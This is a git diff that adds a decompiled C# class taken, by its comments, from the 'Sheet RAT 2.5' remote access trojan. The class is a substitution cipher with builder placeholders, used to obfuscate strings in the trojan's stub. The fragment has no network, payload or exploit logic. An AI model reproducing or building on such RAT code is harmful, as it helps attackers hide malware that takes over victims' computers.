initial commit
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.Helper.CryptString.Caesars
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
//#nullable disable
|
||||
namespace Stub.Helper.CryptString {
|
||||
|
||||
internal class Caesars
|
||||
{
|
||||
public string enc = "%enc%";
|
||||
public string dec = "%dec%";
|
||||
|
||||
public string Encrypt(string text)
|
||||
{
|
||||
string str = "";
|
||||
foreach (char ch in text)
|
||||
{
|
||||
for (int index = 0; index < this.enc.Length; ++index)
|
||||
{
|
||||
if ((int) this.enc[index] == (int) ch)
|
||||
{
|
||||
str += this.dec[index].ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user